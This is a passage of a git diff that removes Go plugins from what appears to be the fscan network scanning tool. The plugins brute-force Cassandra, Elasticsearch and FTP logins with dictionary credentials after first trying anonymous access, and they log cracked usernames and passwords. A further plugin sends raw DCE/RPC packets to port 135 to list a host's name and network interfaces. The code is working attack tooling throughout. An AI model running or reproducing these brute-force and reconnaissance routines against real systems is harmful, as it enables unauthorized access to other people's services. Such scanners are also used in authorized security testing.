cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3}
|
||||
|
||||
// 创建会话通道
|
||||
sessionChan := make(chan struct {
|
||||
session *gocql.Session
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在后台创建会话,以便可以通过上下文取消
|
||||
go func() {
|
||||
session, err := cluster.CreateSession()
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
if session != nil {
|
||||
session.Close()
|
||||
}
|
||||
case sessionChan <- struct {
|
||||
session *gocql.Session
|
||||
err error
|
||||
}{session, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待会话创建或上下文取消
|
||||
var session *gocql.Session
|
||||
var err error
|
||||
select {
|
||||
case result := <-sessionChan:
|
||||
session, err = result.session, result.err
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
|
||||
defer session.Close()
|
||||
|
||||
// 尝试执行查询,测试连接是否成功
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
var version string
|
||||
var err error
|
||||
|
||||
// 尝试两种查询,确保至少一种成功
|
||||
err = session.Query("SELECT peer FROM system.peers").WithContext(ctx).Scan(&version)
|
||||
if err != nil {
|
||||
err = session.Query("SELECT now() FROM system.local").WithContext(ctx).Scan(&version)
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{err == nil, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待查询结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.err
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveCassandraSuccess 记录并保存Cassandra成功结果
|
||||
func saveCassandraSuccess(info *Common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) {
|
||||
var successMsg string
|
||||
var details map[string]interface{}
|
||||
|
||||
if isAnonymous {
|
||||
successMsg = fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "cassandra",
|
||||
"auth_type": "anonymous",
|
||||
"type": "unauthorized-access",
|
||||
"description": "数据库允许无认证访问",
|
||||
}
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "cassandra",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
}
|
||||
-1050
File diff suppressed because it is too large
Load Diff
@@ -1,9 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import "github.com/shadow1ng/fscan/Common"
|
||||
|
||||
func DCInfoScan(info *Common.HostInfo) (err error) {
|
||||
return nil
|
||||
}
|
||||
@@ -1,306 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ElasticCredential 表示Elasticsearch的凭据
|
||||
type ElasticCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// ElasticScanResult 表示扫描结果
|
||||
type ElasticScanResult struct {
|
||||
Success bool
|
||||
IsUnauth bool
|
||||
Error error
|
||||
Credential ElasticCredential
|
||||
}
|
||||
|
||||
func ElasticScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 首先测试无认证访问
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if unauthResult.Success {
|
||||
// 无需认证情况
|
||||
saveElasticResult(info, target, unauthResult.Credential, true)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []ElasticCredential
|
||||
for _, user := range Common.Userdict["elastic"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, ElasticCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["elastic"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 并发扫描
|
||||
result := concurrentElasticScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveElasticResult(info, target, result.Credential, false)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Elasticsearch扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentElasticScan 并发扫描Elasticsearch服务
|
||||
func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *ElasticScanResult, 1)
|
||||
workChan := make(chan ElasticCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryElasticCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Elasticsearch并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryElasticCredential 尝试单个Elasticsearch凭据
|
||||
func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ElasticScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
success, err := ElasticConn(ctx, info, credential.Username, credential.Password, timeoutSeconds)
|
||||
if success {
|
||||
isUnauth := credential.Username == "" && credential.Password == ""
|
||||
return &ElasticScanResult{
|
||||
Success: true,
|
||||
IsUnauth: isUnauth,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ElasticScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// ElasticConn 尝试Elasticsearch连接
|
||||
func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(timeoutSeconds) * time.Second
|
||||
|
||||
// 创建带有超时的HTTP客户端
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%s", host, port)
|
||||
|
||||
// 使用上下文创建请求
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/_cat/indices", nil)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if user != "" || pass != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
|
||||
req.Header.Add("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中执行HTTP请求
|
||||
go func() {
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{resp.StatusCode == 200, nil}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.err
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveElasticResult 保存Elasticsearch扫描结果
|
||||
func saveElasticResult(info *Common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
|
||||
var successMsg string
|
||||
var details map[string]interface{}
|
||||
|
||||
if isUnauth {
|
||||
successMsg = fmt.Sprintf("Elasticsearch服务 %s 无需认证", target)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "elasticsearch",
|
||||
"type": "unauthorized-access",
|
||||
}
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "elasticsearch",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
}
|
||||
-345
@@ -1,345 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// FtpCredential 表示一个FTP凭据
|
||||
type FtpCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// FtpScanResult 表示FTP扫描结果
|
||||
type FtpScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential FtpCredential
|
||||
Directories []string
|
||||
IsAnonymous bool
|
||||
}
|
||||
|
||||
func FtpScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 首先尝试匿名登录
|
||||
Common.LogDebug("尝试匿名登录...")
|
||||
anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if anonymousResult.Success {
|
||||
// 匿名登录成功
|
||||
saveFtpResult(info, target, anonymousResult)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []FtpCredential
|
||||
for _, user := range Common.Userdict["ftp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, FtpCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["ftp"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentFtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 保存成功结果
|
||||
saveFtpResult(info, target, result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("FTP扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentFtpScan 并发扫描FTP服务
|
||||
func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *FtpScanResult, 1)
|
||||
workChan := make(chan FtpCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryFtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("FTP并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryFtpCredential 尝试单个FTP凭据
|
||||
func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &FtpScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
directories []string
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中尝试连接
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
go func() {
|
||||
defer cancel()
|
||||
success, dirs, err := FtpConn(info, credential.Username, credential.Password)
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
directories []string
|
||||
err error
|
||||
}{success, dirs, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
var success bool
|
||||
var dirs []string
|
||||
var err error
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
success = result.success
|
||||
dirs = result.directories
|
||||
err = result.err
|
||||
case <-connCtx.Done():
|
||||
if ctx.Err() != nil {
|
||||
// 全局超时
|
||||
return &FtpScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
// 单个连接超时
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if success {
|
||||
isAnonymous := credential.Username == "anonymous" && credential.Password == ""
|
||||
return &FtpScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
Directories: dirs,
|
||||
IsAnonymous: isAnonymous,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 登录错误不需要重试
|
||||
if strings.Contains(err.Error(), "Login incorrect") {
|
||||
break
|
||||
}
|
||||
|
||||
// 连接数过多需要等待
|
||||
if strings.Contains(err.Error(), "too many connections") {
|
||||
Common.LogDebug("连接数过多,等待5秒...")
|
||||
time.Sleep(5 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &FtpScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// FtpConn 建立FTP连接并尝试登录
|
||||
func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
|
||||
Host, Port := info.Host, info.Ports
|
||||
|
||||
// 建立FTP连接
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false, nil, err
|
||||
}
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Quit()
|
||||
}
|
||||
}()
|
||||
|
||||
// 尝试登录
|
||||
if err = conn.Login(user, pass); err != nil {
|
||||
return false, nil, err
|
||||
}
|
||||
|
||||
// 获取目录信息
|
||||
dirs, err := conn.List("")
|
||||
if err == nil && len(dirs) > 0 {
|
||||
directories = make([]string, 0, min(6, len(dirs)))
|
||||
for i := 0; i < len(dirs) && i < 6; i++ {
|
||||
name := dirs[i].Name
|
||||
if len(name) > 50 {
|
||||
name = name[:50]
|
||||
}
|
||||
directories = append(directories, name)
|
||||
}
|
||||
}
|
||||
|
||||
return true, directories, nil
|
||||
}
|
||||
|
||||
// saveFtpResult 保存FTP扫描结果
|
||||
func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult) {
|
||||
var successMsg string
|
||||
var details map[string]interface{}
|
||||
|
||||
if result.IsAnonymous {
|
||||
successMsg = fmt.Sprintf("FTP服务 %s 匿名登录成功!", target)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ftp",
|
||||
"username": "anonymous",
|
||||
"password": "",
|
||||
"type": "anonymous-login",
|
||||
"directories": result.Directories,
|
||||
}
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v",
|
||||
target, result.Credential.Username, result.Credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ftp",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
"type": "weak-password",
|
||||
"directories": result.Directories,
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
|
||||
// min 返回两个整数中的较小值
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -1,229 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
var (
|
||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
func Findnet(info *Common.HostInfo) error {
|
||||
return FindnetScan(info)
|
||||
}
|
||||
|
||||
func FindnetScan(info *Common.HostInfo) error {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接RPC端口失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("设置超时失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV1); err != nil {
|
||||
return fmt.Errorf("发送RPC请求1失败: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 4096)
|
||||
if _, err = conn.Read(reply); err != nil {
|
||||
return fmt.Errorf("读取RPC响应1失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV2); err != nil {
|
||||
return fmt.Errorf("发送RPC请求2失败: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return fmt.Errorf("读取RPC响应2失败: %v", err)
|
||||
}
|
||||
|
||||
text := reply[42:]
|
||||
found := false
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
text = text[:i-4]
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
return fmt.Errorf("未找到有效的响应标记")
|
||||
}
|
||||
|
||||
return read(text, info.Host)
|
||||
}
|
||||
|
||||
func HexUnicodeStringToString(src string) string {
|
||||
if len(src)%4 != 0 {
|
||||
src += strings.Repeat("0", 4-len(src)%4)
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
for i := 0; i < len(src); i += 4 {
|
||||
if i+4 > len(src) {
|
||||
break
|
||||
}
|
||||
|
||||
charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if unicode.IsPrint(rune(charCode)) {
|
||||
result.WriteRune(rune(charCode))
|
||||
}
|
||||
}
|
||||
|
||||
return result.String()
|
||||
}
|
||||
|
||||
func isValidHostname(name string) bool {
|
||||
if len(name) == 0 || len(name) > 255 {
|
||||
return false
|
||||
}
|
||||
|
||||
validHostname := regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`)
|
||||
return validHostname.MatchString(name)
|
||||
}
|
||||
|
||||
func isValidNetworkAddress(addr string) bool {
|
||||
// 检查是否为IPv4或IPv6
|
||||
if ip := net.ParseIP(addr); ip != nil {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查是否为有效主机名
|
||||
return isValidHostname(addr)
|
||||
}
|
||||
|
||||
func cleanAndValidateAddress(data []byte) string {
|
||||
// 转换为字符串并清理不可打印字符
|
||||
addr := strings.Map(func(r rune) rune {
|
||||
if unicode.IsPrint(r) {
|
||||
return r
|
||||
}
|
||||
return -1
|
||||
}, string(data))
|
||||
|
||||
// 移除前后空白
|
||||
addr = strings.TrimSpace(addr)
|
||||
|
||||
if isValidNetworkAddress(addr) {
|
||||
return addr
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func read(text []byte, host string) error {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
|
||||
// 解析主机名
|
||||
var hostName string
|
||||
for i := 0; i < len(encodedStr)-4; i += 4 {
|
||||
if encodedStr[i:i+4] == "0000" {
|
||||
break
|
||||
}
|
||||
hostName += encodedStr[i : i+4]
|
||||
}
|
||||
|
||||
name := HexUnicodeStringToString(hostName)
|
||||
if !isValidHostname(name) {
|
||||
name = ""
|
||||
}
|
||||
|
||||
// 用于收集地址信息
|
||||
var ipv4Addrs []string
|
||||
var ipv6Addrs []string
|
||||
seenAddresses := make(map[string]bool)
|
||||
|
||||
// 解析网络信息
|
||||
netInfo := strings.Replace(encodedStr, "0700", "", -1)
|
||||
segments := strings.Split(netInfo, "000000")
|
||||
|
||||
// 处理每个网络地址
|
||||
for _, segment := range segments {
|
||||
if len(segment) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(segment)%2 != 0 {
|
||||
segment = segment + "0"
|
||||
}
|
||||
|
||||
addrBytes, err := hex.DecodeString(segment)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
addr := cleanAndValidateAddress(addrBytes)
|
||||
if addr != "" && !seenAddresses[addr] {
|
||||
seenAddresses[addr] = true
|
||||
|
||||
if strings.Contains(addr, ":") {
|
||||
ipv6Addrs = append(ipv6Addrs, addr)
|
||||
} else if net.ParseIP(addr) != nil {
|
||||
ipv4Addrs = append(ipv4Addrs, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 构建详细信息
|
||||
details := map[string]interface{}{
|
||||
"hostname": name,
|
||||
"ipv4": ipv4Addrs,
|
||||
"ipv6": ipv6Addrs,
|
||||
}
|
||||
|
||||
// 保存扫描结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: host,
|
||||
Status: "identified",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 构建控制台输出
|
||||
var output strings.Builder
|
||||
output.WriteString("NetInfo 扫描结果")
|
||||
output.WriteString(fmt.Sprintf("\n目标主机: %s", host))
|
||||
if name != "" {
|
||||
output.WriteString(fmt.Sprintf("\n主机名: %s", name))
|
||||
}
|
||||
output.WriteString("\n发现的网络接口:")
|
||||
|
||||
